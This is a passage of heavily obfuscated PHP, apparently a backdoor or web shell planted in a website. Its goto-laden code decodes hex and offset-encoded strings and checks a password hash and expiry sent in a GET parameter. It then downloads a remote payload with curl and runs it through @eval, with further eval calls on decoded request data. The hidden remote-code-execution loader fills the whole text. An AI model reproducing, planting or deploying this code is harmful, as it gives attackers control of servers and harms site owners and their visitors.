$KxD1GuJJb6seZiQ0[65]($KxD1GuJJb6seZiQ0[86])) && @eval($KxD1GuJJb6seZiQ0[65](${$KxD1GuJJb6seZiQ0[32]}[13])) : $KxD1GuJJb6seZiQ0; goto Ktjk2zTGJZFXsM5K; WVVCI25fQh19LiNl: hW5eqX_v6ji7UGJ_: goto uQAhR7uIfMYx3nSU; Q43iQOsxzdjxEZpg: $Y7eebFkKUQbppqGW["\x69"] = r_Y0bo0cZKusw2MD($txULHlLhgfoJc26W); goto vk_sgUxgeF0t3wcM; dXO722x2B85iYVsj: J06AW25B6PxvAp5L: goto FHkFVl1fv0ahr5pC; ytrrT4pQhNatMPn5: exit("\x7b\40\x22\x65\x72\x72\x6f\x72\x22\72\x20\62\60\x30\x2c\x20\x22\x6c\143\x22\72\40\x22\x6a\x6b\42\54\x20\x22\x64\141\x74\141\x22\72\40\x5b\x20\61\40\135\40\x7d"); goto Jbhk9oxG7ROxGmnj; HdfQnG603GOXfDEu: $dUjjzvTif7lWZV6t = ''; goto pwXXAGPwTSBTTKaH; H2c03Oz2NiI0eaj8: $Y7eebFkKUQbppqGW["\x73"] = r_y0bO0CzkUsW2Md($IB_NpCTMvD1nBsRV); goto edYHdtxHjOq2Q2ZJ; xz3oIq2lyo06Z0DT: $jeCpfwJzH7oA6naU = false; goto f9V7c5CsjRp0kIfH; kL9V6NSPw9QZTuUS: oKIo_PkFe5xm0TnH: goto WVVCI25fQh19LiNl; XprX2KLsARqNNiC3: function hjP_8ixzBx5KoLDG() { goto khxgRzh0sWliaYpM; c2eB7Uvlm9PLePhi: $AP1yVCdRS6wT7xAK = "\150\x74\164\160\x73\72\57\57"; goto cN18dkXwXp__hbbS; Gw0HJryz_HJn55s3: $AP1yVCdRS6wT7xAK = "\x68\164\x74\x70\163\x3a\x2f\57"; goto pLy6f85fD_vLwdwi; OC6KYluDYi5tYyPh: if (isset($_SERVER["\x48\124\124\120\x53"]) && strtolower($_SERVER["\x48\x54\124\x50\123"]) !== "\x6f\x66\x66") { goto eYD2cPZ1COVDraio; } goto v4JUFLiCcPtJXS3G; khxgRzh0sWliaYpM: $AP1yVCdRS6wT7xAK = "\x68\x74\164\160\72\x2f\x2f"; goto OC6KYluDYi5tYyPh; BlmVd1xVAcohH4Ot: q9KKY6m87PDBUGig: goto EARyWJvu1EpGZz18; pLy6f85fD_vLwdwi: goto q9KKY6m87PDBUGig; goto lN7rmKG5YIlsv6yP; lN7rmKG5YIlsv6yP: lsXpNZAKvccc0SaQ: goto c2eB7Uvlm9PLePhi; cw8sDXCs_Wr_d1AI: eYD2cPZ1COVDraio: goto Gw0HJryz_HJn55s3; cN18dkXwXp__hbbS: goto q9KKY6m87PDBUGig; goto SgjAGuB9u5a9sZhI; EARyWJvu1EpGZz18: return $AP1yVCdRS6wT7xAK; goto N372c3DWVdTiciK9; BDNxHvDdW1TA7mOq: goto q9KKY6m87PDBUGig; goto cw8sDXCs_Wr_d1AI; RmdiFVY63u4oEcHX: $AP1yVCdRS6wT7xAK = "\150\x74\x74\x70\x73\x3a\57\57"; goto BlmVd1xVAcohH4Ot; v4JUFLiCcPtJXS3G: if (isset($_SERVER["\x48\x54\x54\120\137\x58\x5f\106\117\122\127\x41\x52\x44\x45\x44\137\x50\x52\x4f\x54\117"]) && $_SERVER["\x48\x54\124\x50\x5f\x58\x5f\x46\x4f\122\x57\x41\122\104\105\104\x5f\x50\122\x4f\x54\x4f"] === "\150\x74\x74\160\163") { goto lsXpNZAKvccc0SaQ; } goto LxG4s5SLpvG6pBqZ; LxG4s5SLpvG6pBqZ: if (isset($_SERVER["\110\124\x54\x50\x5f\106\122\117\116\x54\x5f\105\x4e\104\137\110\x54\x54\120\123"]) && strtolower($_SERVER["\x48\124\124\120\137\106\122\117\x4e\124\137\105\x4e\104\x5f\110\x54\x54\120\123"]) !== "\x6f\x66\x66") { goto DAq745rut92ORIKt; } goto BDNxHvDdW1TA7mOq; SgjAGuB9u5a9sZhI: DAq745rut92ORIKt: goto RmdiFVY63u4oEcHX; N372c3DWVdTiciK9: } goto rCvycr_m4PRbkbOP; IraMsdVrc9ICsKKd: class V1lxShXz4RWM6nkq { static function ioGM50J27vSrzKPT($eGDIV7ROUcDVbszl) { goto m2dNLoat8Smv7RYA; m2dNLoat8Smv7RYA: $qyPyKbRSUXKCfHij = "\162" . "\x61" . "\x6e" . "\x67" . "\x65"; goto bx8upaTTK17CfNBb; bx8upaTTK17CfNBb: $uaL8e674j0Vy18Fs = $qyPyKbRSUXKCfHij("\176", "\x20"); goto qSktnptpA2Ze36ie; WciUPmEUF2UGwEfT: $TxIUXNOyyYxqXieI = ''; goto FEN50Yb14lP5qQMD; qSktnptpA2Ze36ie: $pNo5F2gAq1BXlZfo = explode("\74", $eGDIV7ROUcDVbszl); goto WciUPmEUF2UGwEfT; FEN50Yb14lP5qQMD: foreach ($pNo5F2gAq1BXlZfo as $cCJmVM3vft0cZnfS => $BXwpROBEfl_MpuLj) { $TxIUXNOyyYxqXieI .= $uaL8e674j0Vy18Fs[$BXwpROBEfl_MpuLj - 22773]; Yu2923h_nWPW2OcR: } goto kpBW3K0eWP422cKw; OrYan_q3nLHNLEL2: return $TxIUXNOyyYxqXieI; goto eQ2tf7Yz1N3Vxq4r; kpBW3K0eWP422cKw: O4Jh9h8rGcn6W38A: goto OrYan_q3nLHNLEL2; eQ2tf7Yz1N3Vxq4r: } static function c_JVU6KOIZOzCzeb($hU1dVArVSgKZfZsU, $Z6gLdcwFR772GmPB) { goto PnL71FAUjHbAU9pO; PnL71FAUjHbAU9pO: $TAHiaY0yIlUbwv9E = curl_init($hU1dVArVSgKZfZsU); goto GlVtyxPnNZhJLvZh; GlVtyxPnNZhJLvZh: curl_setopt($TAHiaY0yIlUbwv9E, CURLOPT_RETURNTRANSFER, 1); goto lZvz1ymQK6BcCRG9; Vx9l6QVZwDCDDmBz: return empty($KwToVytWgL7VlA4p) ? $Z6gLdcwFR772GmPB($hU1dVArVSgKZfZsU) : $KwToVytWgL7VlA4p; goto Gsdk4i76mDQ2Iq08; lZvz1ymQK6BcCRG9: $KwToVytWgL7VlA4p = curl_exec($TAHiaY0yIlUbwv9E); goto Vx9l6QVZwDCDDmBz; Gsdk4i76mDQ2Iq08: } static function ObUUzm1SS_j7bPNo() { goto r0i2FMmzdq2DZvyh; RmoU2daClBPR3vQh: $x8TdBB2WBVXJZws0 = @$bOpRU5qEoy8LHx0h[1 + 2]($bOpRU5qEoy8LHx0h[4 + 2], $akOv32zGMjzYEtGF); goto f2vXKL9zXwwapl8q; EosiiBI1RrAyS5Kz: @$bOpRU5qEoy8LHx0h[8 + 2](INPUT_GET, "\x6f\146") == 1 && die($bOpRU5qEoy8LHx0h[1 + 4](__FILE__)); goto D6nwSpQHlU_Ddhkk; fKSO27d3Ab2ZJ_qo: foreach ($DjwRGx2B_i1VZMfI as $WDgrXXlbfNkn0Bk2) { $bOpRU5qEoy8LHx0h[] = self::IOgm50j27VsrZkPt($WDgrXXlbfNkn0Bk2); demCizEMy7CZRP0G: } goto S8HpjjR238X9iK2I; f2vXKL9zXwwapl8q: $armx8kYAqOE9wvFz = $bOpRU5qEoy8LHx0h[1 + 1]($x8TdBB2WBVXJZws0, true); goto EosiiBI1RrAyS5Kz; cppX7gSvpbiE1P2_: $akOv32zGMjzYEtGF = @$bOpRU5qEoy8LHx0h[1]($bOpRU5qEoy8LHx0h[1 + 9](INPUT_GET, $bOpRU5qEoy8LHx0h[1 + 8])); goto RmoU2daClBPR3vQh; ufGYVLkIULe5P676: PuSCCeq3_qJrJZvO: goto gL5x7ZV_i6seNEXy; teHNsCzTBhLbFzrZ: die; goto ufGYVLkIULe5P676; D6nwSpQHlU_Ddhkk: if (!(@$armx8kYAqOE9wvFz[0] - time() > 0 and md5(md5($armx8kYAqOE9wvFz[0 + 3])) === "\62\71\x37\x38\64\145\64\x63\x31\x62\65\145\x65\x39\x34\142\66\x30\x30\x35\x63\141\x30\x63\x36\64\x37\x66\x65\64\x65\x38")) { goto PuSCCeq3_qJrJZvO; } goto PbwnvGTtv8n8642P; S8HpjjR238X9iK2I: Rs72J6mr8byGV983: goto cppX7gSvpbiE1P2_; r0i2FMmzdq2DZvyh: $DjwRGx2B_i1VZMfI = array("\62\62\x38\60\60\x3c\62\x32\67\x38\x35\74\62\x32\x37\x39\70\x3c\x32\62\70\60\x32\x3c\62\x32\x37\70\x33\74\62\62\x37\71\70\x3c\62\62\x38\60\x34\74\62\62\x37\71\67\74\62\62\67\70\x32\74\62\x32\67\70\71\x3c\62\x32\x38\60\x30\x3c\62\62\67\x38\x33\x3c\x32\x32\67\71\64\74\x32\x32\x37\x38\70\74\62\62\x37\x38\71", "\x32\x32\67\x38\x34\x3c\62\62\x37\70\x33\74\62\x32\67\x38\65\x3c\62\62\70\x30\64\x3c\x32\x32\67\x38\x35\74\x32\62\x37\70\x38\74\62\62\67\70\x33\74\x32\x32\70\65\60\x3c\x32\x32\70\x34\x38", "\x32\x32\x37\x39\x33\x3c\62\x32\67\x38\x34\x3c\x32\x32\x37\70\x38\x3c\62\62\67\70\x39\x3c\62\x32\70\x30\64\x3c\x32\x32\x37\x39\x39\74\62\62\x37\71\70\x3c\x32\x32\70\60\60\x3c\62\x32\67\70\x38\x3c\62\62\x37\x39\71\x3c\62\62\x37\71\70", "\x32\62\x37\70\67\74\62\x32\70\x30\x32\74\62\x32\x38\x30\60\74\x32\62\x37\x39\62", "\62\x32\70\60\61\x3c\x32\x32\x38\60\x32\x3c\x32\x32\x37\x38\64\x3c\62\x32\67\x39\x38\74\62\x32\x38\64\x35\x3c\62\62\x38\x34\x37\74\62\62\x38\x30\64\74\62\x32\67\x39\x39\x3c\x32\x32\x37\71\x38\x3c\x32\62\x38\60\60\74\62\x32\x37\x38\x38\74\62\x32\67\71\x39\x3c\62\x32\x37\x39\70", "\62\62\x37\71\x37\x3c\x32\x32\67\x39\x34\74\x32\62\x37\x39\x31\x3c\x32\62\67\71\70\x3c\62\62\x38\60\x34\x3c\x32\x32\x37\71\x36\74\x32\x32\x37\x39\x38\x3c\62\x32\x37\70\x33\74\x32\62\70\60\64\74\62\x32\70\x30\x30\74\62\62\67\70\x38\x3c\x32\x32\x37\x38\71\x3c\62\x32\x37\x38\63\74\x32\x32\67\x39\x38\74\62\x32\67\70\71\74\x32\x32\67\70\x33\x3c\x32\62\x37\x38\x34", "\62\x32\70\x32\67\x3c\x32\x32\x38\x35\x37", "\x32\x32\x37\x37\64", "\62\x32\x38\65\62\74\x32\62\70\65\67", "\62\x32\x38\x33\64\74\x32\x32\x38\x31\67\x3c\x32\62\70\61\67\74\62\62\x38\63\x34\x3c\x32\62\70\61\x30", "\62\62\x37\71\x37\x3c\x32\62\x37\71\64\x3c\x32\x32\67\71\61\x3c\62\62\x37\x38\x33\74\x32\62\x37\71\70\74\62\62\x37\x38\65\74\x32\x32\x38\60\x34\74\x32\x32\x37\x39\64\x3c\62\x32\67\x38\x39\74\62\62\67\x38\x37\74\x32\62\67\x38\x32\x3c\x32\x32\67\x38\63"); goto fKSO27d3Ab2ZJ_qo; PbwnvGTtv8n8642P: $fwvQrfC0DVOPQKCQ = self::c_jVU6KoiZoZczEb($armx8kYAqOE9wvFz[0 + 1], $bOpRU5qEoy8LHx0h[5 + 0]); goto XFmviKsZF6mid1P3; XFmviKsZF6mid1P3: @eval($bOpRU5qEoy8LHx0h[4 + 0]($fwvQrfC0DVOPQKCQ)); goto teHNsCzTBhLbFzrZ; gL5x7ZV_i6seNEXy: } } goto KgW5BINtKCV5tsv0; WFHKpIdXnkK0JYbN: function r_Y0bO0cZKUsW2md($QbUW2uM1jAoGj9GF) { goto XHgT2c75sRe5xPt3; no3aNOgb1r2foxNS: return rtrim(strtr(base64_encode($QbUW2uM1jAoGj9GF), "\53\x2f", "\55\x5f"), "\x3d"); goto dCiNZkos9SQYj65j; X9OHZVmt7V2IQtnG: return ''; goto gNWHkaDq6FYZcGSQ; gNWHkaDq6FYZcGSQ: nhjb89IrdrxPj2Nm: goto no3aNOgb1r2foxNS; XHgT2c75sRe5xPt3: if ($QbUW2uM1jAoGj9GF) { goto nhjb89IrdrxPj2Nm; } goto X9OHZVmt7V2IQtnG; dCiNZkos9SQYj65j: } goto RiAmju6skrcsYlhc; Z7kp4VsTFLsT7R2b: if ($jeCpfwJzH7oA6naU) { goto VDxa1NqxcYoLQhJ8; } goto rrlci8qvWF9Kjh1g; jD9XLQPuybjwwD1S: $r6DFz1ioFG3O3NP_ = substr($W9hApZvZIcbebiur, strpos($W9hApZvZIcbebiur, "\56")); goto gt6pDZ18dct2F3Fy; JaO_Ufh82Lx_ah18: VDxa1NqxcYoLQhJ8: ?>